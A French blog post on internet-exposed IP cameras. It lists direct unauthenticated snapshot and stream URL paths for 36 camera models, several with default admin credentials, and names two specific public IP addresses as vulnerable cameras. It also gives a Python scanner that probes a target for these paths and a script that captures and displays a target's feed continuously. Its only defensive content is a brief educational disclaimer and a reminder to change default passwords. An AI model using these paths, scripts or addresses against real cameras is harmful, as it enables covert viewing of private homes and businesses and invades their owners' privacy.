Il y a des découvertes qui font froid dans le dos, surtout lorsqu’elles touchent à notre vie privée. Un soir, alors que je parcourais le web à la recherche de failles de sécurité, je suis tombé sur un constat troublant : des centaines de milliers de caméras IP, installées partout dans le monde, sont accessibles publiquement… souvent sans même que leurs propriétaires ne s’en doutent.
Quand la sécurité passe à la trappe
La plupart de ces caméras sont livrées avec une interface web, protégée par une page de connexion. Mais trop souvent, les utilisateurs oublient de modifier les identifiants par défaut fournis par le constructeur. Résultat : n’importe qui, avec un peu de curiosité, peut accéder à des flux vidéo privés.
Et même lorsque les identifiants sont changés, certains modèles souffrent de failles qui permettent de contourner la sécurité et d’accéder directement au flux vidéo.
Prenons un exemple concret : une caméra Hi3516, accessible sur l’IP 46.8.54.190:81
.
Cartographie des vulnérabilités : 36 modèles dans le viseur
Pour mieux comprendre l’étendue du problème, j’ai mené mes propres recherches et dressé un tableau des modèles vulnérables et des chemins d’accès aux flux vidéo.
Voici un extrait du tableau :
Modèle | Chemin de la vulnérabilité |
---|---|
Android-IPWebcam | http://ip:port/shot.jpg?rnd=654321 |
Axis | http://ip:port/mjpg/video.mjpg |
Axis2 | http://ip:port/axis-cgi/mjpg/video.cgi?camera=&resolution=640x480 |
AxisMkII | http://ip:port/jpg/image.jpg?COUNTER |
BlueIris | http://ip:port/image/Index?time=0 |
Bosch | http://ip:port/snap.jpg?JpegSize=M&JpegCam=1&r=COUNTER |
Canon | http://ip:port/-wvhttp-01-/GetOneShot?image_size=640x480&frame_count=1000000000 |
ChannelVision | http://ip:port/GetData.cgi?CH=1 |
Dahua | http://ip:port/cgi-bin/snapshot.cgi |
Defeway | http://ip:port/cgi-bin/snapshot.cgi?chn=0&u=admin&p=&q=0&COUNTER |
DLink | http://ip:port/video/mjpg.cgi |
DLink-DCS-932 | http://ip:port/mjpeg.cgi |
Foscam | http://ip:port/videostream.cgi?user=admin&pwd= |
FoscamIPCam | http://ip:port/cgi-bin/CGIProxy.fcgi?cmd=snapPicture2&usr=admin&pwd=&COUNTER |
Fullhan | http://ip:port/cgi-bin/snapshot.cgi?COUNTER |
GK7205 | (non documenté) |
Hi3516 | http://ip:port/webcapture.jpg?command=snap&channel=1?COUNTER |
Linksys | http://ip:port/img/video.mjpeg |
Megapixel | http://ip:port/jpgmulreq/1/image.jpg?key=1516975535684&lq=1&COUNTER |
Mobotix | http://ip:port/cgi-bin/faststream.jpg?stream=half&fps=15&rand=COUNTER |
Motion | (non documenté) |
Panasonic | http://ip:port/SnapshotJPEG?Resolution=640x480&Quality=Clarity&COUNTER |
PanasonicHD | http://ip:port/cgi-bin/camera?resolution=640&quality=1&Language=0&COUNTER |
Sony | http://ip:port/oneshotimage1?COUNTER |
Sony-CS3 | http://ip:port/image?speed=0 |
StarDot | http://ip:port/nph-jpeg.cgi?0 |
Streamer | http://ip:port/?action=stream |
SunellSecurity | http://ip:port/onvif/snapshot/1/11 |
Toshiba | http://ip:port/__live.jpg?&&&COUNTER |
TPLink | http://ip:port/jpg/image.jpg?COUNTER |
Vije | http://ip:port/asp/video.cgi |
Vivotek | http://ip:port/cgi-bin/viewer/video.jpg?r=COUNTER |
WebcamXP | http://ip:port/cam_1.cgi |
WIFICam | (non documenté) |
WYM | (non documenté) |
Yawcam | http://ip:port/out.jpg?q=30&id=0.1317044913727916&r=COUNTER |
Comme vous pouvez le constater, il existe des chemins d’accès directs à la plupart des flux vidéo, souvent sans authentification supplémentaire.
La preuve par l’exemple : analyse d’une caméra vulnérable
Pour mieux illustrer le problème, j’ai réalisé un scan Nmap sur l’IP vulnérable 90.189.182.80
:
On observe que plusieurs ports sont ouverts, ce qui multiplie les points d’entrée potentiels.
Même si la plupart des constructeurs ont mis en place des pages de connexion :
…il s’avère que ces protections sont parfois inefficaces, comme le montre ce test :
Ici, le modèle Fullhan est clairement identifié grâce à l’URI, et la présence d’une interface Herospeed sur un autre port confirme l’origine de la solution.
Automatiser la détection : un script pour révéler les failles
Pour aller plus loin, j’ai développé un script Python qui automatise la détection des vulnérabilités sur une IP donnée.
Ce script teste les chemins connus pour chaque modèle et affiche les flux accessibles.
import requests, time
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from colorama import init, Fore, Style
init()
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# Liste des modèles vulnérables
model = ["Android-IPWebcam", "Axis", "Axis2", "AxisMkII", "BlueIris", "Bosch", "Canon", "ChannelVision", "Dahua", "Defeway", "DLink", "DLink-DCS-932", "Foscam", "FoscamIPCam", "Fullhan", "GK7205", "Hi3516", "Linksys", "Megapixel", "Mobotix", "Motion", "Panasonic", "PanasonicHD", "Sony", "Sony-CS3", "StarDot", "Streamer", "SunellSecurity", "Toshiba", "TPLink", "Vije", "Vivotek", "WebcamXP", "WIFICam", "WYM", "Yawcam"]
# Liste des URIs accessibles
uri_vuln = ["shot.jpg?rnd=654321", "mjpg/video.mjpg", "axis-cgi/mjpg/video.cgi?camera=&resolution=640x480", "jpg/image.jpg?COUNTER", "image/Index?time=0", "snap.jpg?JpegSize=M&JpegCam=1&r=COUNTER", "GetOneShot?image_size=640x480&frame_count=1000000000", "GetData.cgi?CH=1", "cgi-bin/snapshot.cgi", "cgi-bin/snapshot.cgi?chn=0&u=admin&p=&q=0&COUNTER", "video/mjpg.cgi", "mjpeg.cgi", "videostream.cgi?user=admin&pwd=", "cgi-bin/CGIProxy.fcgi?cmd=snapPicture2&usr=admin&pwd=&COUNTER", "cgi-bin/snapshot.cgi?COUNTER", "","webcapture.jpg?command=snap&channel=1?COUNTER", "img/video.mjpeg", "jpgmulreq/1/image.jpg?key=1516975535684&lq=1&COUNTER", "cgi-bin/faststream.jpg?stream=half&fps=15&rand=COUNTER", "", "SnapshotJPEG?Resolution=640x480&Quality=Clarity&COUNTER", "cgi-bin/camera?resolution=640&quality=1&Language=0&COUNTER", "oneshotimage1?COUNTER", "image?speed=0", "nph-jpeg.cgi?0", "?action=stream", "onvif/snapshot/1/11", "__live.jpg?&&&COUNTER", "jpg/image.jpg?COUNTER", "asp/video.cgi", "cgi-bin/viewer/video.jpg?r=COUNTER", "cam_1.cgi", "", "", "out.jpg?q=30&id=0.1317044913727916&r=COUNTER"]
# Fonction qui va tester si les URIs sont accessibles
def scan_cam(ip):
for i in range(len(model)):
try:
url = f"http://{ip}/{uri_vuln[i]}"
if(uri_vuln[i] != ""):
response = requests.head(url, verify=False, timeout=1)
if(response.status_code == 200):
test_cam = requests.get(url)
if "login" not in str(test_cam.text):
print(Fore.GREEN + f"Modèle de la caméra: {model[i]} \n - Flux de la caméra: {url}" + Fore.GREEN)
else:
print(Fore.RED + f"Modèle de la caméra: {model[i]}" + Fore.RED)
except:
print(Fore.RED + f"Modèle de la caméra: {model[i]}" + Fore.RED)
if __name__ == "__main__":
# Affichage du nombre total de modèles vulnérables
print(f"Total de modèles vulnérables {len(model)}")
# Demande pour spécifier l'IP
ip = input("IP: ")
# Demande pour spécifier le PORT
port = input("PORT: ")
ip += ":" + port
# Appel de la fonction de scan
scan_cam(ip)
N’oubliez pas d’installer les dépendances avant d’exécuter le script
pip install requests colorama
De l’image à la vidéo : reconstituer le flux
Souvent, les chemins vulnérables donnent accès à des images fixes, pas à un flux vidéo continu. Mais en téléchargeant ces images à intervalle régulier, il est possible de reconstituer une vidéo.
Voici un script qui enregistre les images chaque seconde et les affiche en temps réel avec OpenCV :
import os, requests, time, cv2
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
save_path = "capture.jpg"
# Fonction qui va afficher le flux vidéo
def read_cam(url):
print(f"\nChemin du flux vidéo: {os.getcwd()}/{save_path}")
while True:
flux_img = cv2.imread(f"{os.getcwd()}/{save_path}", cv2.IMREAD_COLOR)
print(time.ctime())
img = requests.get(url)
f = open(save_path, "wb")
f.write(img.content)
f.close()
cv2.imshow("Affichage Flux", flux_img)
key = cv2.waitKey(1)
if key & 0xFF == ord('q'):
break
cv2.destroyAllWindows()
if __name__ == "__main__":
# Demande de spécifier l'url du flux
url = input("Flux de la caméra: ")
# Appel de la fonction de lecture d'un flux
read_cam(url)
Installez les dépendances nécessaires avant d’exécuter le script
pip install requests opencv-python
Limites, évolutions et bonnes pratiques
Il reste encore des modèles non documentés ou mis à jour par les constructeurs, ce qui peut rendre certaines vulnérabilités obsolètes.
Mais cette exploration montre à quel point la sécurité des objets connectés est souvent négligée.
Je souhaite toutefois mentionner que ce projet de cybersécurité a été entrepris à des fins strictement éducatives, dans le but de promouvoir la sensibilisation à la sécurité informatique.
Protégez vos équipements, changez les mots de passe par défaut, mettez à jour vos firmwares… et n’oubliez jamais que la sécurité commence par la vigilance !